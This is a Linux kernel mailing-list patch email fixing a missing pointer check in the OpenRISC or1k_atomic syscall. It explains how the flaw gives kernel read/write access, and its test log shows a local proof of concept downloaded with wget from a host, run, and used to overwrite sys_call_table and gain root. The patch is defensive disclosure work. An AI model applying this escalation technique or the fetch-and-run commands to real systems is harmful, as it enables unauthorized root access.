From nobody Mon Sep 28 13:59:30 2026 Received: from sender-of-o57.zoho.eu (sender-of-o57.zoho.eu [136.143.169.57]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by smtp.subspace.kernel.org (Postfix) with ESMTPS id AB5221F3BA4; Fri, 21 Aug 2026 01:41:43 +0000 (UTC) Authentication-Results: smtp.subspace.kernel.org; arc=pass smtp.client-ip=136.143.169.57 ARC-Seal: i=2; a=rsa-sha256; d=subspace.kernel.org; s=arc-20240116; t=1787276505; cv=pass; b=E9cDw5a7tm8R/FmE9bi7sdxpmqhjUCNvJ2cMpySO35tCsTgObDnWSgeq9LVx38FrqW20NOstGmItzeM5oe9P6JMBbuiH70F7TtrdsWjPYBXHt75jxlL4gB9yocQ4Ln2vXKUb5T3OY+Pol04wqIVqKbqYRONbjecC1QQdB7K/TzE= ARC-Message-Signature: i=2; a=rsa-sha256; d=subspace.kernel.org; s=arc-20240116; t=1787276505; c=relaxed/simple; bh=tBsk/KKqk05IvmC7w+weZm0AbT45546mXnRem3T9z6Y=; h=From:To:Cc:Subject:Date:Message-ID:MIME-Version; b=ppJDM1yp1nelZ39KTgfpJ/XCHGCVTVtMTccyIVGYegynkE0mP7iox4hXbi05gkQrkg0SaIKgRZ2SkkTt+7f+Xk9eJBdD/yaZ+KxbUzuI0y05mLn/XJjqDO0uaqmOZ2Q316DHX4tnzFxJo2LppgXQU8OslwcANO9v+melBL8wlzI= ARC-Authentication-Results: i=2; smtp.subspace.kernel.org; dmarc=pass (p=none dis=none) header.from=iusegentoo.com; spf=pass smtp.mailfrom=iusegentoo.com; dkim=pass (1024-bit key) header.d=iusegentoo.com header.i=ali@iusegentoo.com header.b=PSX0o2vs; arc=pass smtp.client-ip=136.143.169.57 Authentication-Results: smtp.subspace.kernel.org; dmarc=pass (p=none dis=none) header.from=iusegentoo.com Authentication-Results: smtp.subspace.kernel.org; spf=pass smtp.mailfrom=iusegentoo.com Authentication-Results: smtp.subspace.kernel.org; dkim=pass (1024-bit key) header.d=iusegentoo.com header.i=ali@iusegentoo.com header.b="PSX0o2vs" ARC-Seal: i=1; a=rsa-sha256; t=1787276479; cv=none; d=zohomail.eu; s=zohoarc; b=I/HevaUN8e9fDZ9ahvoaeGyZxaRZoMsXYLM1QnTomBsuLIDQcCzuHqEmQO3cYj+HZuWcR10J1tVWySehpg8Tp8T/bx3UMcxUd63IsPL6jx4OmFqG3V2NbXHDn3wezIaL1rScaIHMJbydBzeUeQ5IQ8CZK2N/adFw/cQDVNSGWlE= ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=zohomail.eu; s=zohoarc; t=1787276479; h=Content-Transfer-Encoding:Cc:Cc:Date:Date:From:From:MIME-Version:Message-ID:Subject:Subject:To:To:Message-Id:Reply-To; bh=oRJk9NXxMJ621xYUcx3xy/2Fc/MNOOsb/WBD73Mtnhs=; b=BpL+0FYFThv8HP1WbXT6a4/SaZe5t49FCoVbCIoCxveKqjNelpaDH/Twkkn8ncDH5qc+WUMFLEMlhy6p1UvtjBKj9sSem39LEviMGq4WCwRoaKsCAtYRqVQo6e9bCkGqWYe0SLSux4rf5s5puDkztM/OA48TkgYAKSsxegaM8m4= ARC-Authentication-Results: i=1; mx.zohomail.eu; dkim=pass header.i=iusegentoo.com; spf=pass smtp.mailfrom=ali@iusegentoo.com; dmarc=pass header.from= DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; t=1787276479; s=zmail; d=iusegentoo.com; i=ali@iusegentoo.com; h=From:From:To:To:Cc:Cc:Subject:Subject:Date:Date:Message-ID:MIME-Version:Content-Transfer-Encoding:Message-Id:Reply-To; bh=oRJk9NXxMJ621xYUcx3xy/2Fc/MNOOsb/WBD73Mtnhs=; b=PSX0o2vs4pQFNJ+XJSDW4bljeOLszD9jsWfc1C7QVKnPdSC+xksSrXeSuGz2+5Jo ATvVirvqagpRgZaLyOBzrIRuzJpb+bDwedKpoc7841I1JmmcLxshkhLPgee+nSvrv3C r+y6Mk4uKYFXCoCSsyRxq9cVKhpKypzBijNNq4WI= Received: by mx.zoho.eu with SMTPS id 178727647626318.432034619625256; Fri, 21 Aug 2026 03:41:16 +0200 (CEST) From: Ali Ahmet Memis To: Jonas Bonn , Stefan Kristiansson , Stafford Horne Cc: Arnd Bergmann , linux-openrisc@vger.kernel.org, linux-kernel@vger.kernel.org Subject: [PATCH] openrisc: fix arbitrary kernel memory access via or1k_atomic syscall Date: Fri, 21 Aug 2026 01:38:33 +0000 Message-ID: <20260821013839.587041-1-ali@iusegentoo.com> X-Mailer: git-send-email 2.55.0 Precedence: bulk X-Mailing-List: linux-kernel@vger.kernel.org List-Id: List-Subscribe: List-Unsubscribe: MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable X-ZohoMailClient: External Content-Type: text/plain; charset="utf-8" sys_or1k_atomic() (syscall 244 in the "or1k" ABI) takes two user pointers, v1 and v2, and swaps the words they point to in hand-written assembly. l.lwz r29,0(r4) l.lwz r27,0(r5) l.sw 0(r4),r27 l.sw 0(r5),r29 The pointers are not checked with access_ok(). The four memory accesses also have no exception table entries. A caller passes a kernel address as either pointer, and the syscall reads from and writes to it directly. This gives an unprivileged process a kernel read/write primitive. It overwrites kernel data such as the sys_call_table, gaining code execution in kernel context. Check both pointers before entering the critical section. Add fixups for the four memory accesses so faults on valid but unmapped user addresses return -EFAULT. Fixes: 9d02a4283e9c ("OpenRISC: Boot code") Signed-off-by: Ali Ahmet Memis --- Tested against an unpatched or1ksim build with a local PoC that uses this syscall to overwrite a sys_call_table entry and escalate to root: ali@archlinux:~$ cd ~/or1k-build/buildroot/output/images ali@archlinux:~/or1k-build/buildroot/output/images$ qemu-system-or1k -kerne= l vmlinux -nographic -append "console=3DttyS0" FDT at (ptrval) Linux version 6.18.7 (ali@archlinux) (or1k-buildroot-linux-musl-gcc.br_real= (Buildroot -g86102dd8) 15.3.0, GNU ld (GNU Binutils) 2.45.1) #5 Fri Aug 21= 00:38:10 UTC 2026 OF: reserved mem: Reserved memory: No reserved-memory node in the DT CPU: OpenRISC-13 (revision 8) @20 MHz -- dmmu: 128 entries, 1 way(s) -- immu: 128 entries, 1 way(s) -- additional features: -- power management -- PIC -- timer Initial ramdisk not found Setting up paging and PTEs. map_ram: Memory: 0x0-0x8000000 Zone ranges: Normal [mem 0x0000000000000000-0x0000000007ffffff] Movable zone start for each node Early memory node ranges node 0: [mem 0x0000000000000000-0x0000000007ffffff] Initmem setup node 0 [mem 0x0000000000000000-0x0000000007ffffff] itlb_miss_handler (ptrval) dtlb_miss_handler (ptrval) OpenRISC Linux -- http://openrisc.io Kernel command line: console=3DttyS0 printk: log buffer data + meta data: 131072 + 409600 =3D 540672 bytes Dentry cache hash table entries: 16384 (order: 3, 65536 bytes, linear) Inode-cache hash table entries: 8192 (order: 2, 32768 bytes, linear) Sorting __ex_table... Built 1 zonelists, mobility grouping on. Total pages: 16384 mem auto-init: stack:all(zero), heap alloc:off, heap free:off mem_init_done ........................................... SLUB: HWalign=3D16, Order=3D0-3, MinObjects=3D0, CPUs=3D1, Nodes=3D1 NR_IRQS: 32, nr_irqs: 32, preallocated irqs: 0 clocksource: openrisc_timer: mask: 0xffffffff max_cycles: 0xffffffff, max_i= dle_ns: 95563022313 ns Console: colour dummy device 80x25 40.00 BogoMIPS (lpj=3D80000) $ id uid=3D1000(test) gid=3D1000(test) groups=3D1000(test) $ wget -O /tmp/x http://10.0.2.2:8000/lpe_static Connecting to 10.0.2.2:8000 (10.0.2.2:8000) saving to '/tmp/x' x 100% |********************************| 174k 0:00:00= ETA '/tmp/x' saved $ chmod +x /tmp/x $ /tmp/x Initial: uid=3D1000 euid=3D1000 Installing commit_creds into getuid entry sys_call_table[174] overwritten original handler =3D 0xc002e2ac Calling hijacked syscall with init_cred hijacked syscall returned 0 Restoring original getuid handler syscall table restored Final identity: uid=3D0 euid=3D0 # id uid=3D0(root) gid=3D0(root) # arch/openrisc/kernel/entry.S | 42 ++++++++++++++++++++++++++++++++++++++--- 1 file changed, 39 insertions(+), 3 deletions(-) diff --git a/arch/openrisc/kernel/entry.S b/arch/openrisc/kernel/entry.S index c7e90b09645e..2e8c4102cd62 100644 --- a/arch/openrisc/kernel/entry.S +++ b/arch/openrisc/kernel/entry.S @@ -1223,15 +1223,49 @@ _no_syscall_trace: * */ +/* Keep this literal; hi()/lo() can't use the UL-suffixed TASK_SIZE. */ +#define OR1K_ATOMIC_ADDR_LIMIT 0x7ffffffc + ENTRY(sys_or1k_atomic) /* FIXME: This ignores r3 and always does an XCHG */ + + /* Check both user pointers before accessing them. */ + l.movhi r13,hi(OR1K_ATOMIC_ADDR_LIMIT) + l.ori r13,r13,lo(OR1K_ATOMIC_ADDR_LIMIT) + l.sfgtu r4,r13 + l.bf 9f + l.nop + l.sfgtu r5,r13 + l.bf 9f + l.nop + DISABLE_INTERRUPTS(r17,r19) - l.lwz r29,0(r4) - l.lwz r27,0(r5) - l.sw 0(r4),r27 - l.sw 0(r5),r29 +10: l.lwz r29,0(r4) +11: l.lwz r27,0(r5) +12: l.sw 0(r4),r27 +13: l.sw 0(r5),r29 ENABLE_INTERRUPTS(r17) l.jr r9 l.or r11,r0,r0 + /* Either pointer was outside user space, or turned out to be + * unmapped/inaccessible when we actually touched it. + */ +9: l.jr r9 + l.addi r11,r0,-EFAULT + + .section .fixup, "ax" +14: + ENABLE_INTERRUPTS(r17) + l.j 9b + l.nop + .previous + + .section __ex_table, "a" + .long 10b, 14b + .long 11b, 14b + .long 12b, 14b + .long 13b, 14b + .previous + /* =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D[ EOF ]=3D=3D=3D */ -- 2.51.0